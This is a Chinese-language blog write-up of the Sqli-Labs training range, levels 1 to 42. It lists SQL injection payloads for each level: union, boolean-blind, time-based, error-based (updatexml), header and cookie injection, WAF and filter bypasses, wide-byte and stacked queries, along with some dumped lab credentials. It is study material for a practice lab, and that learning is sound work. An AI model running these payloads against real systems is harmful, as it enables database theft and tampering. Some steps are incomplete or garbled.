THIS IS B3c0me

记录生活中的点点滴滴

0%

Sqli-Labs

sqli-lab靶场记录

less-1

1
2
3
4
5
6
7
8
9
10
1. ?id=1 看到回显的用户名和密码
2. ?id=1'--+ 看到数据库的语法错误,判断存在SQL注入漏洞
3. ?id=1' order by 4--+ 时看到列数超过字段数,判断字段数为3
4. ?id=1' union select 1,2,3--+ 此时页面显示正常,但无法判断回显内容,原因是id=1时数据存在,已经占满回显框,要输入一个不存 在的id,输入负数试一试
5. ?id=-1' union select 1,2,3--+ 此时看到2和3回显,因此判断数据位
6. ?id=-1' union select 1,database(),version()--+ 查看数据库名和版本信息
7. ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ 爆表名
8. ?id=
爆字段名
9.?id=-1' union select 1,2,group_concat(username,id,password) from users--+ 获取到用户名和密码

总结:

  • tabel_schema是指这个表所归属的数据库

  • column_schema是指这个字段所归属的数据表

  • 当没有回显的时候试一试给个数据表中不存在的id值或者name

  • group_concat(id,name,pwd)可以查询到所有的id,name,pwd,中间可能没有逗号或者空格分隔开

less-2

跟less-1的不同之处在于

  • ?id=1后面不需要加单引号
  • 应该用第三个位置的参数来作为回显位置,否则会报语句错误

less-3

总结:

  • 根据输入的值和返回SQL语句错误的提示信息判断SQL语句的构造
  • 要使用‘)闭合前面的括号
  • 其他步骤同1,2

less-4

双引号带括号

1
2
3
4
5
?id=1")order by 3--+
?id=-1") union select 1,2,database()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database()--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users'--+
?id=-1") union select 1,2,group_concat(id,',',username,',',password) from users--+

less-5

布尔盲注-主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
?id=1'
#只显示错误信息,但是页面正确的时候也没有回显的有用信息

?id=1' and length((select database()))>=8--+
#根据length函数判断数据库名长度,当遍历到8时显示正常,说明数据库名长度为8

?id=1' and ascii(substr((select database()),1,1))=115--+

#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii码,这样我们可以很好确定数字根据数字找到对应的字符。

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=29--+
#判断所有表名字符长度。

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
#逐一判断表名

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() where table_name='users'))>20--+
#判断所有字段名的长度

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
#逐一判断字段名。

?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
#逐一检测内容。

less-6

less-5中的单引号变双引号即可

less-7

输入‘发现报错,说明SQL语句用单引号闭合,但是后面的语句不能被读进去,经多次尝试发现用’))闭合SQL语句

less-8

简单的单引号闭合和布尔盲注,感觉比7还要好做一些。输入有误的时候不回显任何提示,输入正确则会显示语句

less-9

一顿乱输,但是不管输入什么东西页面都没有变化,新的知识的来了–时间盲注!

1
布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。


?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

less-10

与less-9的区别是10是双引号注入

  • 时间盲注的重点在if(a,b,c)中构造判断的语句a

less-11

  • 这里的注释需要使用#
1
2
3
4
5
6
7
8
9
10
11
输入'发现报错
输入1'可以判断SQL语句为单引号闭合的两个参数传递

1' order by 3#
--依次判断出查询字段数

1' union select 1,database()#
--查询到数据库名

其他步骤就跟1-5的一样了,最终获取到用户账号和密码信息
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

less-12

  • 通过输入判断出这里是双引号+括号闭合

    1
    2
    1") union select 1,group_concat(id,',',username,',',password) from users#
    #获取到用户账号和密码

less-13

题目好像秀逗了,没有回显数据,不能布尔注入

只能通过1’ or 1=1# 判断出这里的sql语句闭合的结构

再次学习,发现这是报错注入

Updatexml()

updataxml(是mysql对xml文档函数进行出巡和修改的Xpath函数)

函数有三个参数第一个数指定xml文档表的字段名称,第二个是指定要替换的位置,第三个是新的值,但这三个值都是错误的。

第一个是不存在的,最后一个0因为前面的是不存在的所以替换也是没有意义的。关键是中间的数值,中间的数值也可以用表达式的形式,函数会把这个表达式执行了然后以报错的形式返回出来。

mid()函数:

mid(content,start,length);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#判断回显位
uname=admin')and 1=2 union select 1,2 --+&passwd=admin&submit=Submit
发现没有显位

#有报错,使用报错注入
库名
uname=admin') and updatexml(1,concat(0x7E,(database()),0x7E),1)--+&passwd=admin&submit=Submit
表名
1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=(database())),0x7e),1)#
列名--这里由于报错显示不完整,所以使用Mid函数来遍历查询结果直到获取所有的结果,表名也类似
1') and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),1,10),0x7e),1)#
用户和密码
1') and updatexml(1,concat(0x7e,mid((select group_concat(username,',',password) from users),21,20),0x7e),1)#

less-14

跟13一样,判断出来是双引号注入

其他步骤同13

1
2
3
4
5
6
7
8
9
10
11
12
爆库名
1" and updatexml(1,concat(0x7e,database(),0x7e),1)#
表明
1" and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema=(database())),55,20),0x7e),1)#
~emails,referers,uagents,users~
列名
1" and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),80,20),0x7e),1)#
~USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password~
账号和密码
1" and updatexml(1,concat(0x7e,mid((select group_concat(username,',',password) from users),181,20),0x7e),1)#
~Dumb,,Angelina,I-kill-you,Dummy,p@ssword,secure,crappy,stupid,stupidity,superman,genious,batman,mob!le,admin,admin,admin1,admin1,admin2,admin2,admin3,admin3,
dhakkan,dumbo,admin4,admin4~

less-15

判断出是‘闭合,没有报错提醒,只有登录成功和登录失败,因此使用布尔盲注

这里需要注意的是,and 两端的语句都为真,即admin’ and 1=1#才成立,前面的用户名不能为任意字符,因此使用or,虽然用户名不知,但是之后or后面的语句条件成立,则登录成功–逐渐爆破吧,是个体力活

1
2
3
1' or length(database())>7

1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=(database())),1,1))>100#

less-16

同上判断出是”)闭合,同上进行或型布尔注入

less-17

1
查看源代码发现,这里需要我们输入一个数据库中已经存在的用户名,当然脚本会验证这个用户名的合法性以防止注入,当验证通过是就会到数据库中查询我们数据的账户名是否在数据库中,如果存在,则将用我们输入的密码替换数据库中原账户的密码

输入两个admin发现修改成功

判断出是密码框注入

其他步骤同13,闭合条件是’

less-18

UA注入

1、判断注入点

登录成功后,User Agent回显,并且加’报错,判断注入点在User Agent

2、判断闭合符 ‘

User-Agent: ‘ and ‘1’=’1
3、获取数据

库名
User-Agent:’ and updatexml(1,concat(0x7E,(database()),0x7E),1) and ‘1’=’1
表名
User-Agent:’ and updatexml(1,concat(0x7E,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7E),1) and ‘1’=’1
列名
User-Agent:’ and updatexml(1,concat(0x7E,(select group_concat(column_name) from information_schema.columns where table_name=’users’),0x7E),1) and ‘1’=’1
用户
User-Agent:’ and updatexml(1,concat(0x7E,(select group_concat(username) from users)

less-19

referer注入

1、判断注入点

登录成功后,User Agent回显,并且加’报错,判断注入点在User Agent

2、判断闭合符 ‘

User-Agent: ‘ and ‘1’=’1
3、获取数据

库名
User-Agent:’ and updatexml(1,concat(0x7E,(database()),0x7E),1) and ‘1’=’1
表名
User-Agent:’ and updatexml(1,concat(0x7E,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7E),1) and ‘1’=’1
列名
User-Agent:’ and updatexml(1,concat(0x7E,(select group_concat(column_name) from information_schema.columns where table_name=’users’),0x7E),1) and ‘1’=’1
用户
User-Agent:’ and updatexml(1,concat(0x7E,(select group_concat(username) from users),0x7E),1) and ‘1’=’1

less-20

COOKIE报错注入

遇到的问题:

1.burp抓包时不能抓取本地包

​ 解决方法:在火狐浏览器地址栏输入about:config,将network.proxy…hijacking设置成true

2.浏览器设置代理时无法访问服务器:

​ 一般是证书的问题,在地址栏输入http:burp,下载证书,然后将证书导入到浏览器即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Cookie: uname=1' union select 1,2,3#
判断出23是回显位

Cookie: uname=1' union select 1,database(),version()#
查看数据库名和版本信息

Cookie: uname=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(database())#
查看表明,这里使用2号显示位会报错

Cookie: uname=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
查看列名

Cookie: uname=1' union select 1,2,group_concat(id,',',username,',',password) from users#
得到账户名和密码

less-21

cookie-base64-单引号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Cookie: uname=admin')
Cookie: uname=YWRtaW4nKSM=
判断单引号+括号闭合

Cookie: uname=1') union select 1,2,3#
Cookie: uname=MScpIHVuaW9uIHNlbGVjdCAxLDIsMyM=
判断回显位

1') union select 1,2,database()#
Cookie: uname=MScpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
查询数据库名



1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(database())#
Cookie: uname=MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9KGRhdGFiYXNlKCkpIw==
查询表名



1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J3VzZXJzJyM=
查询列名


1') union select 1,2,group_concat(id,',',username,',',password) from users#
MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGlkLCcsJyx1c2VybmFtZSwnLCcscGFzc3dvcmQpIGZyb20gdXNlcnMj
获取账户名和密码

less-22

判断出是admin”#双引号闭合,其他步骤同21

less-23

注释符绕过注入

判断出是单引号闭合

该题目下, 注释符号#。–+等会被过滤,因此不能注释我们注入语句后面的内容,因此我们构造语句闭合最后一个单引号

采用时间盲注

1
http://localhost:8848/Less-23/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E100,sleep(3),1)%20and%20%272%27=%272

less-24

二次注入

1、创建一个admin’– -账号
设置密码为123
2、登录admin’– -账号
修改密码为123456
3、尝试用admin账号,登录密码123456

相当于:

update password=$new where username=admin’#

(admin后引号对前面的单引号进行了闭合,#注释掉了后面的语句,就相当于对admin进行了改密)

less-25

and 和 or 的关键字绕过

1、判断闭合符 '

2、过滤了and、or,可以用||、|代替,或者双写绕过anandd、oorr

3、获取数据和less-1相同

1
2
采用时间盲注
http://localhost:8848/Less-25/?id=1%27%20|%20if(1=1,sleep(3),1)--+

less-25a

过滤了or和and

1,判断为数字型注入,无需加引号和注释

2,采用时间盲注

1
http://localhost:8848/Less-25a/?id=1%20|%20if(1=1,sleep(5),1)

less-26

绕过空格、注释、and,和or 的注入

1、绕过注释和and、or使用anandd ‘1’=’1

2、绕过空格发现使用+,%09,%0A,%0B,%0C,%0D,%A0,%20,/**/都无法绕过

3、使用报错注入

数据库名

1
http://192.168.220.135/sql%20injection/sqli-libs/Less-26/index.php?id=1' ||updatexml(1,concat(0x2E,database(),0x7E),1)|| '1'='1

FUNCTION security.updatexm does not exist
剩下的看less-6

less-26a

在docker环境下

用%27代替单引号

用%0a代替空格,没有报错,使用联合查询或者布尔注入

1
2
3
4
5
6
7
8
9
10

数据库
?id=')union%a0select%a01,database(),3%a0anandd'1'=('1
表名
id=')union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0anandd'1'=('1
字段名
id=')union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0anandd'1'=('1
用户信息
id=')union%a0select%a01,group_concat(username),3%a0from%a0users%a0anandd'1'=('1

less-27

union和select绕过

这里发现空格也被过滤了

判断是单引号闭合

1
?id= '  uNion%a0selEct%a01,database(),3%a0and('1')='1使用联合注入

less-27a

判断出是双引号闭合

用大小写绕过union和select

1
?id=%22%a0%a0uNion%a0seleCt%a0DATABASE(),database(),DATABASE()%a0and(%221%22)=%221

less-28

根据?id=1’and’1’=’1和?id=2’and’1’=’1返回的页面相同,判断不是单引号闭合,但是由于单引号会影响到结果,判断是’)闭合

1
2
3
查询语句如下,括号内由于id是一个永真式,不影响查询结果
$sql="SELECT * FROM users WHERE id=('1'and'1'='1') LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=('2'and'1'='1') LIMIT 0,1";

使用大小写绕过union和select

1
?id=%27)UNion%a0seLect%a01,database(),3%a0and%271%27=(%271

less-28a

同样,根据?id=1’and’1’=’1和?id=2’and’1’=’1返回的页面相同判断出不是单纯的单引号闭合,原理同28

使用大小写绕过union和select发现不行

并且观察发现当union和select同时出现时才会被过滤,判断这里是把’union空格select’作为一个整体来过滤

使用注释/**/代替空格成功绕过

1
?id=%27)%20uNion/**/Select%a01,database(),3%20and%20%271%27=(%271

less-29

绕过WAF注入

判断出是'‘闭合

跟普通的联合注入没什么区别,目前没有感受到WAF的作用

联合注入攻击获取数据库名,表名,列名,账户名和密码即可

less-30

绕过WAF注入

判断闭合符为'

其余步骤同less1

less-31

绕过WAF注入

判断闭合符是")"

其他步骤同less30

less-32

宽字节注入

附上一个学习宽字节注入的博客地址,里面还有很多资料

https://www.cnblogs.com/bmjoker/category/1196755.html

1
2
?id=-1%df%27%20union%20select%201,2,3--+
#利用%df%5c会被解析成一个繁体字从而绕过转义符\,成功使单引号逃逸出来

其他步骤使用联合注入即可

less-33

1
id=-1%df%27%20union%20select%201,2,3--+

参考less32

less34

post宽字节注入】
1
uname=1%df' union select 1,3--+&passwd=admin&submit=Submit

参考less32

less-35

直接使用联合注入

1
?id=-1 union select 1,2,3--+

less-36

宽字符注入

1
?id=-1%df%27%20union%20select%201,2,3--+

less-37

POST宽字节注入

1
uname=1%df' union select 1,2--+&passwd=1%df'--+&submit=Submit

less-38

判断出闭合符是'

堆叠注入。。

使用联合注入

1
?id=-1%27%20union%20select%201,2,3--+

less-39

不需要闭合符

直接使用联合注入

1
?id=-1%20union%20select%201,2,3--+

less-40

注释过滤,单引号闭合绕过注释

使用布尔盲注

1
?id=-1%27%20%20and and%20%271%27=%271

堆叠注入,就是多条SQL语句堆叠在一起执行。

less-41

和39关一样

不需要闭合,联合注入

1
2
3
-1%20union%20select%201,2,group_concat(table_name) %20from%20information_schema.tables%20where%20table_schema='security'

-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'

less-42

使用堆叠注入

1
2
password: 
1';insert into users(id,username,password) values ('39','zcw','123456')--+

欢迎关注我的其它发布渠道